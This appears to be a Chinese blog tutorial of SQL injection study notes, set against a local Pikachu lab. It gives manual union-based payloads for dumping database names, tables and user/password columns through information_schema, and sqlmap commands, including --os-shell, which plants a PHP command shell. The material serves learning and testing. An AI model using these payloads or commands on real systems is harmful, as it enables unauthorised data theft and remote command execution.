当前位置: 首页 > news >正文

SQL注入方法

文章目录

  • 前言
  • 如何测试与利用注入点
    • 手工
    • 注入思路
    • 工具
      • sqlmap
      • -r
      • -u
      • -m
      • --level
      • --risk
      • -v
      • -p
      • --threads
      • -batch-smart
      • --os-shell
      • --mobile
      • tamper插件
      • 获取数据的相关参数

前言

记录一些注入思路和经常使用的工具,后续有用到新的工具和总结新的方法再继续补充。

如何测试与利用注入点

手工

下面的现象是在说存在注入点后的现象,如果服务端有防护手段就需要另外的手段绕过。

老方法:

  • 单引号

    现象:出现数据库报错。

  • or 1=1–

    现象:正常访问页面或者跟多数据一起展现出来了。

  • and 1=1–

    现象:正常访问页面。

  • and 1=2–

    现象:不会显示任何内容或者会看到报错信息,这取决于服务端代码是如何写的。

  • order by n

    现象:判断该表的字段数量,直到没有报错即order by后面那个n就是字段数

  • union

    前提:知道表的字段数量,所以可以先使用上面的order by进行测试字段数

    payload:union select user(),database()–

    现象:若存在注入点,这里的union使用的地方通常是可以展示多个数据的地方,因为联合出来的数据会很多条,若存在注入点union注入的能力会十分强大。

    MySQL5.0以上有information_schema数据库信息

    • 获取所有数据库名:

      union select 1,group_concat(schema_name) from information_schema.schemata

    • 获取当前数据库所有表名:

      'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    • 获取某些表的所有列名:

      'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

      其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name=“users”

    • 获取某表的所有字段数据:

      ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

      0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起进行显示

注入思路

  • 第一步:找注入点,寻报错

    单引号、双引号、单引号+括号、双引号+括号、单引号+双括号、双引号+双括号、数字型(不用闭合)、json等等类型注入(post数据)、http header注入…

  • 第二步:

    • 若第一步发现有回显报错信息出现,则可以进行sql注入语句的编写。

      • order by 、union select 等方法猜测后端代码中这条sql语句查询的属性列数是多少

        • 如果被拦下了:对数据进行编码、大小写混用、双写、字符串拼接等等
      • union select 1,2,3…,直到查询列数后,通过查询一个不存在的数据然后与union select联合查询配合回显显示位

        • 若有回显信息

          修改显示位为我们要获取的信息,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema来快速拖库。

        • 若无回显信息

          尝试bool盲注、base on time时间型注入等等。这里也可以尝试报错注入。

    • 若第一步无回显信息出现。

      • 尝试报错注入。
      • dnslog注入拖库
      • bool盲注、base on time 时间型注入等等
      • http header 数据包中寻找注入点。
  • 第三步:

    • 编写能够通过前后端检查的sql注入语句
    • 使用工具拖库
    • 可尝试使用数据库自带的可执行系统命令进一步渗透。

工具

以下是一些工具注入手段。
在Github或谷歌搜索都能搜到

  • Pongolin(穿山甲)

  • Havij(萝卜头)

    来自国外的,比较经典且实用,就是注册的时候有点麻烦,可以通过报错的信息发现缺少什么组件去网上直接找解决方法即可。

    可以执行后端数据库指纹识别,检索DBMS用户和密码哈希,转储表和列,从数据库获取

    数据,执行SQL语句甚至访问底层文件系统并发出操作系统级命令

sqlmap

下载地址:https://github.com/sqlmapproject/sqlmap

介绍:是一个开源的渗透工具。使用python2.7开发的,所以我们使用的时候需要用python2。或者直接去kali系统使用,kali自带了sqlmap工具。而且他的参数都是直接添加即可,没有顺序可言,就很方便。

执行命令后可能会提示,下面使用简单的-u对一个网址进行测试作为示例入门:

  • 1:sqlmap测试出来时哪个数据库的时候会提示你是否还继续测试其他数据库的payload注入语句,这里一般输入n,你不放心就可以y
    在这里插入图片描述
  • 2:没有设置level和risk的话就会询问你是否默认都为等级1
    在这里插入图片描述
  • 3:找到注入的参数后就会询问你是否还要继续找其他注入参数,这里就看自己需求
    在这里插入图片描述
  • 出结果:
    在这里插入图片描述

开始介绍参数使用与示例

-r

  • 介绍:万能参数,主要针对post注入,但是任何其他请求方法都是可以的,这个参数用的最多。该参数是将数据包文件中的数据发送出去测试sql注入点,所以测试网站中某个url是否有sql注入点就可以抓包,然后保存下来,使用-r参数进行对该url测试。

执行命令:python2 sqlmap.py -r 数据包文件
在这里插入图片描述
在这里插入图片描述

-u

  • 介绍:只针对get请求,并且参数url最好用双引号括起来。避免有些符号无法转义当成参数写进去了。

执行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"
在这里插入图片描述

-m

  • 介绍:上面的-u只能对一个url进行测试,那么肯定能够对多个url进行测试的参数,那就是-m了,需要注意的是-m的参数是指定文件,我们多个url是写在文件中,然后-m指定该文件

执行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt

注意:若你使用的url都是同一个ip地址下的网址的话,在测试过程中,会出现问你是否跳过同一个ip下的另一个url网址测试,这时候需要你选择否来继续测试你文件中的下一个url网址,如果不是同ip仅仅只是询问你确认该网址。如下图就是同一个ip下的两个网址进行测试,轮到下一个的时候会询问你是否跳过,我们要测试的肯定一般都不会跳过,所以选择否。
在这里插入图片描述

–level

  • 介绍:执行测试的等级(1-5,默认为1),使用–level 参数且数值 >=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

执行命令:按照上面的执行语句加一句 [–level 等级] 即可,如下

python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

注意:比如你写了level 3,那么在询问你的时候就会是 level 3,但是risk还是默认1,如下图
在这里插入图片描述

–risk

  • 介绍:执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

同理注意:比如你写了risk3,那么在询问你的时候就会是 risk3,但是level还是默认1,很容易发现,如多level 和 risk都定义了参数等级那就不会按照默认的等级来。


通常情况下使用level 3 risk 3就可以。


-v

显示详细信息的意思,ERBOSE信息级别: 0-6 (缺省默认1),其值具体含义:

  • “0”只显示python错误以及严重的信息;
  • "1"同时显示基本信息和警告信息(默认);
  • “2”同时显示debug信息;
  • “3”同时显示注入的payload;
  • “4”同时显示HTTP请求;
  • “5”同时显示HTTP响应头;
  • “6”同时显示HTTP响应页面;

如果想看到sqlmap发送的测试payload最好的等级就是3。设置为5的话,可以看到http相应信息,比较详细。

执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3

学到这里其实已经发现我们的参数逐渐完善了,基本的语句就是上面的例子↑

-p

-p就是指定你注入的参数,比如id是一个注入点,那我们在测试的时候就可以指定id参数,-p id,这样测试会让测试时间大大减少。不管是post数据包还是get的url都是可以使用-p 直接指定注入参数。

–threads

  • 介绍:指明发送请求的并发线程数量。线程数越低判断出来的sql注入准确率越高。

    • 注意:这个默认线程数量在 sqlmap文件夹\lib\core\setting.py 中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是说你使用–threads 指明的线程数最大也就10,想要指定更大的就修改配置文件。(一般不需要很大,不然对方服务器也顶不住这么大的请求数量。甚至还有可能封你ip)
      在这里插入图片描述

-batch-smart

智能判断测试,自行寻找注入点进行测试 (该命令很少用)

这个智能指令,会将所有数据库全部扒一遍,并且会将每一步的信息和数据全部给我们保存下来,在如下目录中

在这里插入图片描述

记住,这个参数测出来的信息会很多,数据库、表等等都会出来。

–os-shell

个人不推荐使用。(动静大不说,等待时间还比较久)

前提条件

  • 网站必须是root权限

  • 攻击者需要知道网站的绝对路径

  • GPC为off,php主动转义的功能关闭

该功能耗费时间比较长。

原理

就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来
在这里插入图片描述

–mobile

直接加上–mobile即可,他会自动让你选择手机型号,不用自己输入手机型号(所以也有局限性,但是也不算局限性,市面这么多手机,只要能够让网站判断是手机访问的即可了)
在这里插入图片描述

tamper插件

使用方法:

sqlmap.py -u url --tamper "base64encode.py";

在这里插入图片描述

获取数据的相关参数

以下参数都是直接加上去即可,不用另外添加数据

例子:http://192.168.121.151/sql.php?id=1 --dbs

  • –dbs # 会获取所有的数据库
  • –current-user #显示当前用户
  • –current-db #当前连接数据库名
  • –is-dba #判断当前的用户是否为管理员
  • –users #列出数据库所有所有用户

暂时了解这么多,后面继续进阶了再继续学习补充…


相关文章:

SQL注入方法

文章目录 前言如何测试与利用注入点手工注入思路工具sqlmap-r-u-m--level--risk-v-p--threads-batch-smart--os-shell--mobiletamper插件获取数据的相关参数 前言 记录一些注入思路和经常使用的工具,后续有用到新的工具和总结新的方法再继续补充。 如何测试与利用注…...

Vue表单输入绑定v-model

表单输入绑定 在前端处理表单时&#xff0c;我们常常需要将表单输入框的内容同步给Javascript中相应的变量。手动连接绑定和更改事件监听器可能会很麻&#xff0c;v-model 指令帮我们简化了这一步骤。 <template><h3>表单输入绑定</h3><hr> <inpu…...

【分布式系统】ELK 企业级日志分析系统

目录 一.ELK概述 1.简介 1.1.可以添加的其他组件 1.2.filebeat 结合 logstash 带来好处 2.为什么使用ELK 3.完整日志系统基本特征 4.工作原理 二.部署ELK日志分析系统 1.初始化环境 2.完成JAVA部署 三. ELK Elasticsearch 集群部署 1.安装 2.修改配置文件 3.es 性…...

vs2019 无法打开项目文件

vs2019 无法打开项目文件&#xff0c;无法找到 .NET SDK。请检查确保已安装此项且 global.json 中指定的版本(如有)与所安装的版本相匹配 原因&#xff1a;缺少组件 解决方案&#xff1a;选择需要的组件进行安装完成...

Elasticsearch:Painless scripting 语言(一)

Painless 是一种高性能、安全的脚本语言&#xff0c;专为 Elasticsearch 设计。你可以使用 Painless 在 Elasticsearch 支持脚本的任何地方安全地编写内联和存储脚本。 Painless 提供众多功能&#xff0c;这些功能围绕以下核心原则&#xff1a; 安全性&#xff1a;确保集群的…...

SpringBoot项目练习

文章目录 SpringBootVue后台管理系统所需软件下载、安装、版本查询Vue搭建一个简单的Vue项目 Spring项目1项目架构 SpringBootVue后台管理系统 学习视频&#xff1a; https://www.bilibili.com/video/BV1U44y1W77D/?spm_id_from333.337.search-card.all.click&vd_sourcec…...

Android Gradle 开发与应用 (七): Gradle 插件开发与发布

目录 一、概述 二、Gradle插件的基础知识 2.1 Gradle插件的定义 2.2 Gradle插件的种类 2.3 Gradle插件的生命周期 三、开发一个Gradle插件 3.1 创建Gradle插件项目 3.2 编写插件实现 3.3 配置插件元数据 3.4 构建和测试插件 3.5 在项目中应用插件 四、发布Gradle插…...

方法引用详解

什么是方法引用&#xff1f;&#xff1a;针对于函数式接口中的抽象方法 为什么用方法引用&#xff1f;&#xff1a;避免代码的重复&#xff0c;简便书写&#xff0c;提高效率 在使用Lambda表达式的时候&#xff0c;我们实际上传递进去的代码就是一种解决方案&#xff1a;拿参数…...

Apache Seata 高可用部署实践

本文来自 Apache Seata官方文档&#xff0c;欢迎访问官网&#xff0c;查看更多深度文章。 本文来自 Apache Seata官方文档&#xff0c;欢迎访问官网&#xff0c;查看更多深度文章。 Apache Seata 高可用部署实践 Seata 高可用部署实践 使用配置中心和数据库来实现 Seata 的高…...

nginx配置尝试

from fastapi import FastAPI, File, UploadFile, HTTPException from fastapi.responses import JSONResponse, FileResponse, HTMLResponse import logging import os from datetime import datetime import uvicorn# 初始化日志 logging.basicConfig(filenamefile_server.lo…...

SAR目标检测

Multi-Stage with Filter Augmentation 多阶段滤波器增强(MSFA) 对SAR合成孔径雷达目标检测性能的改善 MSFA ON SAR 传统方法: 预训练:传统方法开始于在通用数据集上预训练一个基础模型。 微调:这个预训练的模型会被微调以适应特定的SAR图像&#xff0c;试图缩小域间的差距 …...

创新配置,秒级采集,火爆短视频评论抓取

快速采集评论数据的好处 快速采集评论数据是在当今数字信息时代的市场趋势分析和用户反馈分析中至关重要的环节。通过准确获取并分析大量用户评论&#xff0c;您将能够更好地了解消费者的需求、情感和偏好。集蜂云采集平台提供了一种简单配置的方法&#xff0c;使您能够快速采…...

STL—容器—string类【对其结构和使用的了解】【对oj相关练习的训练】

STL—容器—string类 其实string类准确来说并不是容器&#xff0c;因为他出现的时间比STL要早&#xff0c;但是也可以说是容器吧。 1.为什么要学习string类&#xff1f; 1.1C语言当中的字符串 C语言中&#xff0c;字符串是以’\0’结尾的一些字符的集合&#xff0c;为了操作…...

讲个SystemVerilog随机约束小坑

正文 记录个在写SystemVerilog随机约束时遇到的一个小坑&#xff0c;如果没有认真去查看随机结果是否符合预期&#xff0c;还真不容易发现。 为了方便讲述&#xff0c;写了如下示例代码。类cl_a里有个随机变量aa&#xff0c;初始值为222。在module top里对类cl_a例化并进行约…...

mysql在windows下的安装

软件安装 配置环境变量 测试...

uniapp 在手机上导出excel

1.创建excelDev.js文件 export default {exportExcel(fileData, documentName excel) {plus.io.requestFileSystem(plus.io.PUBLIC_DOCUMENTS, function(fs) {let rootObj fs.rootlet fullPath rootObj.fullPathconsole.log("开始导出数据")// 创建文件夹rootObj…...

收银系统源码-收银台副屏广告

1. 功能描述 门店广告&#xff1a;双屏收银机&#xff0c;副屏广告&#xff0c;主屏和副屏同步&#xff0c;总部可统一控制广告位&#xff0c;也可以给门店开放权限&#xff0c;门店独立上传广告位&#xff1b; 2.适用场景 新店开业、门店周年庆、节假日门店活动宣传&#x…...

【TORCH】torch.normal()中的size参数

在 torch.normal() 函数中&#xff0c;size 参数用于指定生成张量的形状。torch.normal() 函数用于从正态&#xff08;高斯&#xff09;分布中生成随机数。函数的基本形式是&#xff1a; torch.normal(mean, std, size)mean&#xff1a;均值&#xff0c;可以是标量或张量。如果…...

【第20章】MyBatis-Plus逻辑删除支持

文章目录 前言一、逻辑删除的工作原理二、支持的数据类型三、使用方法1.配置全局逻辑删除属性2.在实体类中使用 TableLogic 注解 四、常见问题解答1. 如何处理插入操作&#xff1f;2. 删除接口自动填充功能失效怎么办&#xff1f; 五、实战1. 全局配置2. 添加TableLogic3. 自动…...

【IT领域新生必看】 Java编程中的重载(Overloading):初学者轻松掌握的全方位指南

文章目录 引言什么是方法重载&#xff08;Overloading&#xff09;&#xff1f;方法重载的基本示例 方法重载的规则1. 参数列表必须不同示例&#xff1a; 2. 返回类型可以相同也可以不同示例&#xff1a; 3. 访问修饰符可以相同也可以不同示例&#xff1a; 4. 可以抛出不同的异…...

python转文本为语音并播放

python转文本为语音并播放 1、导入库 pip install pyttsx3==2.902、流程 1、初始化tts引擎 2、设置音量(0到1之间) 3、设置语速 4、 设置声音对象,voices[0].id代表男生,voices[1].id代表女生 5、转换文本并播放 6、挂起声音引擎3、代码 # -*- coding: utf-8 -*-"…...

解锁高效软件测试:虚拟机助力提升测试流程的秘诀

众所周知&#xff0c;软件测试在软件开发生命周期中至关重要。它确保软件符合要求&#xff0c;没有漏洞&#xff0c;并帮助开发人员优化性能&#xff0c;验证项目功能。 然而&#xff0c;测试可能既耗时又耗费资源&#xff0c;特别是当需要在不同操作系统和配置上测试软件组件…...

创建vue3项目

npm create vuelatest 编译打包生成报告 yarn add rollup-plugin-visualizer vite.config.ts: import { fileURLToPath, URL } from node:urlimport { defineConfig } from vite import vue from vitejs/plugin-vue import vueJsx from vitejs/plugin-vue-jsx import vueDevTo…...

中国网络安全审查认证和市场监管大数据中心数据合规官CCRC-DCO

关于CCRC-DCO证书的颁发机构&#xff0c;它是由中国网络安全审查认证与市场监管大数据中心&#xff08;简称CCRC&#xff09;负责。 该中心在2006年得到中央机构编制委员会办公室的批准成立&#xff0c;隶属于国家市场监督管理总局&#xff0c;是其直辖的事业单位。 依据《网络…...

Web漏洞扫描工具AppScan与AWVS测评及使用体验

AppScan和AWVS业界知名的Web漏洞扫描工具&#xff0c;你是否也好奇到底哪一个能力更胜一筹呢&#xff1f;接下来跟随博主一探究竟吧。 1. 方案概览 第一步&#xff1a;安装一个用于评测的Web漏洞靶场&#xff08;本文采用最知名和最广泛使用的靶场&#xff0c;即OWASP Benchma…...

瞰景Smart3D使用体验分享

引言 作为一名建筑设计师&#xff0c;我一直在寻找能够提升工作效率和设计质量的软件工具。瞰景Smart3D&#xff08;Smart3D&#xff09;是一款备受推崇的3D建模和设计软件&#xff0c;广泛应用于建筑、工程和施工&#xff08;AEC&#xff09;行业。经过一段时间的使用&#x…...

Android系统adb shell dumpsys activity processes

在Android系统中&#xff0c;adb shell dumpsys activity processes 命令是一个非常强大的工具&#xff0c;用于获取当前系统中所有运行进程的详细信息&#xff0c;包括它们的状态、内存使用情况、任务栈等。这对于开发者来说非常有用&#xff0c;尤其是在调试应用、分析系统性…...

vue侦听器watch()

侦听器watch&#xff08;&#xff09; 侦听器侦听数据变化&#xff0c;我们可以使用watch 选项在每次响应式属性变化时触发一个函数。 <template><h3>侦听器watch</h3><hr> <p>{{nessage}}</p> <button click"exchage">…...

如何用Python向PPT中批量插入图片

办公自动化办公中&#xff0c;Python最大的优势是可以批量操作&#xff0c;省去了用户粘贴、复制、插入等繁琐的操作。经常做PPT的朋友都知道&#xff0c;把图片插入到PPT当中的固定位置是一个非常繁琐的操作&#xff0c;往往调整图片时耗费大量的时间和精力。如何能省时省力插…...

C# Socket

Socket命名空间&#xff1a;创建 Socket&#xff1a;连接到服务器&#xff08;客户端&#xff09;&#xff1a;绑定和监听&#xff08;服务器端&#xff09;&#xff1a;接受连接&#xff08;服务器端&#xff09;&#xff1a;发送和接收数据&#xff1a;关闭 Socket&#xff1…...

node的下载、安装、配置和使用(node.js下载安装和配置、npm命令汇总、cnpm的使用)

天行健,君子以自强不息;地势坤,君子以厚德载物。 每个人都有惰性,但不断学习是好好生活的根本,共勉! 文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。 愿将腰下剑,直为斩楼兰。 ——《塞下曲》 文章目录 一、node.js的下载、安装和配置1. node.js下…...

深度卷积神经网络 AlexNet

一、机器学习深度学习的发展 1、机器学习SVM方法 &#xff08;1&#xff09;20世纪90年代&#xff0c;基于统计学习理论的结果&#xff0c;开发了一种新型的学习算法——支持向量机&#xff08;SVM&#xff09;。这就产生了一类新的理论上优雅的学习机器&#xff0c;它们将SVM…...

【刷题汇总--大数加法、 链表相加(二)、大数乘法】

C日常刷题积累 今日刷题汇总 - day0061、大数加法1.1、题目1.2、思路1.3、程序实现 2、 链表相加(二)2.1、题目2.2、思路2.3、程序实现 3、大数乘法3.1、题目3.2、思路3.3、程序实现 4、题目链接 今日刷题汇总 - day006 1、大数加法 1.1、题目 1.2、思路 读完题,明白大数相加…...

基于Java的网上花店系统

目 录 1 网上花店商品销售网站概述 1.1 课题简介 1.2 设计目的 1.3 系统开发所采用的技术 1.4 系统功能模块 2 数据库设计 2.1 建立的数据库名称 2.2 所使用的表 3 网上花店商品销售网站设计与实现 1. 用户注册模块 2. 用户登录模块 3. 鲜花列表模块 4. 用户购物车…...

uniApp 封装VUEX

Vuex Store (index.js) import Vue from vue; import Vuex from vuex; import Cookies from js-cookie;Vue.use(Vuex);const saveStateKeys [vuex_user, vuex_token, vuex_demo];const initialState {vuex_user: { name: 用户信息 },vuex_token: Cookies.get(token) || ,vue…...

最长公共子序列求长度和输出子序列C代码

求两个字符串的公共子序列我们都知道需要使用用动态规划思想 用res[i][j]表示截止到字符串A的第i个字符串和截止到字符串B的第j个字符的最长公共子序列。如两个字符串helloworld和loop&#xff0c;res[5][3]表示子串hello和子串loo的最长公共子序列&#xff0c;为lo&#xff0…...

安卓Framework开发快速分析日志及定位源码

文章目录 如何区分源码中 main system events 日志查看 Activity 生命周期日志分析 events 日志在源码中位置应用进程ID助分析具体应用ProtoLog 动态开关日志如何快速定位相关流程的代码位置 本文首发地址 https://h89.cn/archives/285.html 最新更新地址 https://gitee.com/ch…...

数据结构算法之B树

一、绪论 1.1 数据结构的概念和作用 1.2 B树的起源和应用领域 二、B树的基本原理 2.1 B树的定义和特点 2.2 B树的结构和节点组成 2.3 B树的插入 2.4 B树的删除操作 三、B树的优势和应用 3.1 B树在数据库系统中的应用 3.2 B树在文件系统中的应用 3.3 B树在内存管理中…...

【图卷积网络】GCN基础原理简单python实现

基础原理讲解 应用路径 卷积网络最经典的就是CNN&#xff0c;其 可以提取图片中的有效信息&#xff0c;而生活中存在大量拓扑结构的数据。图卷积网络主要特点就是在于其输入数据是图结构数据&#xff0c;即 G ( V , E ) G(V,E) G(V,E)&#xff0c;其中V是节点&#xff0c;E是…...

【话题】AI是在帮助开发者还是取代他们

大家好&#xff0c;我是全栈小5&#xff0c;欢迎阅读小5的系列文章&#xff0c;这是《话题》系列文章 目录 引言AI在代码生成中的应用AI在错误检测和自动化测试中的作用对开发者职业前景的影响技能需求的变化与适应策略结论文章推荐 引言 随着人工智能&#xff08;AI&#xff…...

精通Perl正则表达式修饰符:提升文本处理能力的艺术

Perl语言以其强大的文本处理能力而闻名&#xff0c;其中正则表达式是其核心特性之一。正则表达式本身非常强大&#xff0c;但Perl提供的修饰符&#xff08;Modifiers&#xff09;进一步扩展了正则表达式的灵活性和表达能力。本文将深入探讨Perl中正则表达式修饰符的使用&#x…...

【web前端HTML+CSS+JS】--- HTML学习笔记01

学习链接&#xff1a;黑马程序员pink老师前端入门教程&#xff0c;零基础必看的h5(html5)css3移动端前端视频教程_哔哩哔哩_bilibili 学习文档&#xff1a; Web 开发技术 | MDN (mozilla.org) 一、前后端工作流程 WEB模型&#xff1a;前端用于采集和展示信息&#xff0c;中…...

Go 语言入门(一)

Go Modules依赖包查找机制 下载的第三方的依赖存储在 $GOPATH/pkg/mod 下go install 生成的可执行文件存储在 $GOPATH/bin下依赖查找顺序&#xff1a; 工作目录$GOPATH/pkg/mod$GOPATH/src 一、Go语言基础 1.标识符与关键字 1.1 命名方式 ​ go变量、常量、自定义类型、包…...

爬虫笔记20——票星球抢票脚本的实现

以下内容仅供交流学习使用&#xff01;&#xff01;&#xff01; 思路分析 前面的爬虫笔记一步一步走过来我们的技术水平也有了较大的提升了&#xff0c;现在我们来进行一下票星球抢票实战项目&#xff0c;实现票星球的自动抢票。 我们打开票星球的移动端页面&#xff0c;分…...

DDR3(三)

目录 1 预取1.1 什么是预取1.2 预取有哪些好处1.3 结构框图1.4 总结 2 突发2.1 什么是突发2.2 突发与预取 本文讲解DDR中常见的两个术语&#xff1a;预取和突发&#xff0c;对这两个概念理解的关键在于地址线的低位是否参与译码&#xff0c;具体内容请继续往下看。 1 预取 1.1…...

JDK都出到20多了,你还不会使用JDK8的Stream流写代码吗?

目录 前言 Stream流 是什么&#xff1f; 为什么要用Steam流 常见stream流使用案例 映射 map() & 集合 collect() 单字段映射 多字段映射 映射为其他的对象 映射为 Map 去重 distinct() 过滤 filter() Stream流的其他方法 使用Stream流的弊端 前言 当你某天看…...

QT slots 函数

文章目录 概述小结 概述 在Qt中&#xff0c;slots 是一种特殊的成员函数&#xff0c;它们可以与对象发出的信号连接。当信号被触发时&#xff0c;连接的槽函数会被调用。 来个简单的示例吧&#xff0c;如下图&#xff1a; #include <QObject> #include <QDebug>…...

pycharm如何使用jupyter

目录 配置jupyter新建jupyter文件别人写的方法&#xff08;在pycharm种安装&#xff0c;在网页中使用&#xff09; pycharm专业版 配置jupyter 在pycharm终端启动一个conda虚拟环境&#xff0c;输入 conda install jupyter会有很多前置包需要安装&#xff1a; 新建jupyter…...

机器学习——无监督学习(k-means算法)

1、K-Means聚类算法 K表示超参数个数&#xff0c;如分成几个类别&#xff0c;K值就取多少。若无需求&#xff0c;可使用网格搜索找到最佳的K。 步骤&#xff1a; 1、随机设置K个特征空间内的点作为初始聚类中心&#xff1b; 2、对于其他每个点计算到K个中心的距离&#xff0c;…...

强化学习-6 DDPG、PPO、SAC算法

文章目录 1 DPG方法2 DDPG算法3 DDPG算法的优缺点4 TD3算法4.1 双Q网络4.2 延迟更新4.3 噪声正则 5 附15.1 Ornstein-Uhlenbeck (OU) 噪声5.1.1 定义5.1.2 特性5.1.3 直观理解5.1.4 数学性质5.1.5 代码示例5.1.6 总结 6 重要性采样7 PPO算法8 附28.1 重要性采样方差计算8.1.1 公…...